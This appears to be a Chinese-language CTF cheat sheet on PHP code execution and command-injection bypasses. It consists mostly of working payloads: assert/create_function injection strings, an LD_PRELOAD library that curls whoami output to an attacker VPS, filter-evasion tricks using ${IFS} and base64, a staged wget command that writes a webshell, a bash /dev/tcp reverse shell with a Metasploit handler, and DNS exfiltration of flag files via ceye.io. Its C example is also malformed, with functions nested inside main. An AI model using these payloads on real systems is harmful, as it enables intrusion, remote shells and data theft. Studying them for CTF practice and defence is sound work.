CTF命令执行及绕过技巧

${}执行代码
eval
assert
preg_replace
create_function()
array_map()
call_user_func()/call_user_func_array()
array_filter()
usort(),uasort()

${phpinfo()};

eval('echo 2;');

//?a=phpinfo()<?php assert($_POST['a']);?> 

//?a=phpinfo()
<?php
$a = 'assert';
$a($_POST['a']);
?>

<?php
//?a=phpinfo()
$a = 'assert';
$a($_POST['a']);
?>
//phpinfo()无法执行成功

<?php
$a = 'assert';
$a(phpinfo());
?>
//成功执行phpinfo()

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

$a = 'phpinfo()';
$b = preg_replace("/abc/e",$b,'abcd');

string create_function ( string $args , string $code )

$b = create_function('$name','echo $name;');
//实现
function niming($name){
echo $name;
}

$b(yang);

niming('yang');

$a = 'phpinfo();';
$b = create_function(" ",$a);
$b();

$id=$_GET['id'];

$code = 'echo $name. '.'的编号是'.$id.'; ';

$b = create_function('$name',$code);
//实现
function niming($name){
echo $name."编号".$id;
}
$b('sd');

?id=2;}phpinfo();/* 

function niming($name){
echo $name.编号2;
     }phpinfo();/*
}

<?php

error_reporting(0);

$sort_by = $_GET['sort_by'];

$sorter = ‘strnatcasecmp';

$databases=array('1234′,'4321′);

$sort_function = ‘ return 1 * ‘ . $sorter . ‘($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';

usort($databases, create_function(‘$a, $b', $sort_function));

?>

?sort_by=”]);}phpinfo();/*

<?php
//02-8.php?id=2;}phpinfo();/*
$id=$_GET['id'];
$str2='echo  '.$a.'test'.$id.";";
echo $str2;
echo "<br/>";
echo "==============================";
echo "<br/>";
$f1 = create_function('$a',$str2);
echo "<br/>";
echo "==============================";
?>

array array_map ( callable $callback , array $array1 [, array $... ] )
array_map()：返回数组，是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量，两者必须一样。

//?a=assert&b=phpinfo();
$a = $_GET['a'];
$b = $_GET['b'];
$array[0] = $b;
$c = array_map($a,$array);

call_user_func()

mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
第一个参数 callback 是被调用的回调函数，其余参数是回调函数的参数。

mixed call_user_func_array ( callable $callback , array $param_arr )
把第一个参数作为回调函数（callback）调用，把参数数组作（param_arr）为回调函数的的参数传入。

// ?a=phpinfo();
call_user_func(assert,$_GET['a']);

//?a=phpinfo();
$array[0] = $_GET['a'];

call_user_func_array("assert",$array); 

array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true，则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。 

$array[0] = $_GET['a'];
array_filter($array,'assert');

bool usort ( array &$array , callable $value_compare_func )
本函数将用用户自定义的比较函数对一个数组中的值进行排序。 如果要排序的数组需要用一种不寻常的标准进行排序，那么应该使用此函数。

<?php
// ?1[]=test&1[]=phpinfo();&2=assert
usort(...$_GET);
?>

// ?1=1+1&2=phpinfo();
usort($_GET,'asse'.'rt');

bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )
此函数将打开输出缓冲。当输出缓冲激活后，脚本将不会输出内容（除Http标头外），相反需要输出的内容被存储在内部缓冲区中。

内部缓冲区的内容可以用 ob_get_contents() 函数复制到一个字符串变量中。 想要输出存储在内部缓冲区中的内容，可以使用 ob_end_flush() 函数。另外， 使用 ob_end_clean() 函数会静默丢弃掉缓冲区的内容。

<?php
    ob_start("system");
    echo "whoami";
    ob_end_flush();
?>
//输出www-data

#include <stdlib.h>
#include <stdio.h>
#include <string.h> 
int main(){

void payload() {
system("curl http://vps_IP:4123/?a=`whoami`");
} 
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
} 

<?php
putenv("LD_PRELOAD=/var/www/html/a.so");
mail("a@localhost","","","","");
?>

<
${IFS}
$IFS$9
%09

root@kali:~# cat<test.txt hello world! root@kali:~# cat${IFS}test.txt hello world! root@kali:~# cat$IFS$9test.txt hello world! root@kali:~#

<?php
$cmd = $_GET['cmd'];
system("$cmd");
?>

//http://ip/index.php?cmd=cat%091.txt

root@kali:~# a=l;b=s;$a$b

root@kali:~# echo 'cat' | base64
Y2F0Cg==
root@kali:~# `echo 'Y2F0Cg==' | base64 -d` test.txt
hello world!
root@kali:~#

<?php
if(strlen($_GET[1])<8){
     echo shell_exec($_GET[1]);
}
?>

1>wget\
1>域名.\
1>com\
1>-O\
1>she\
1>ll.p\
1>p
ls>a
sh a 

ls -t>a

||&|;|%{}| |''|.|

%0acat%09
%0Acat$IFS$9
%0acat

/???/?s --help

nc -l -p 8080 -vvv

|bash -i >& /dev/tcp/xxxxxI(你的vps的公网ip)/8080 0>&1

vps的msf监听：

use exploit/multi/handler
set payload linux/armle/shell/reverse_tcp
set lport 8080
set lhost xxx.xxx.xxx.xxx
set exitonsession false
exploit -j

|bash -i >& /dev/tcp/xxxxxI(你的vps的公网ip)/8080 0>&1

<?php
$a = $_GET['id'];
system("$a");
?>

curl http://192.168.10.55.o40fok.ceye.io/?id=`whoami` 

ping `whoami`.******.ceye.io 

index.txt
where_is_flag.php

<?php 
include("where_is_flag.php");
echo "ping";
$ip =(string)$_GET['ping'];
$ip =str_replace(">","0.0",$ip);
system("ping ".$ip);

ping `cat where_is_flag.php|sed s/[[:space:]]/xx/g`.******.ceye.io
# 因为域名中不允许有空格，但是php代码中可能会含有空格，所以使用sed命令将php代码的空格替换为xx

http://192.168.5.90/?ping=`cat where_is_flag.php|sed s/[[:space:]]/xx/g`.******.ceye.io

<?php $flag="dgfsdunsadkjgdgdfhdfhfgdhsadf/flag.php";?>

http://192.168.5.90/?ping=`cat dgfsdunsadkjgdgdfhdfhfgdhsadf/flag.php|sed s/[[:space:]]/xx/g`.******.ceye.io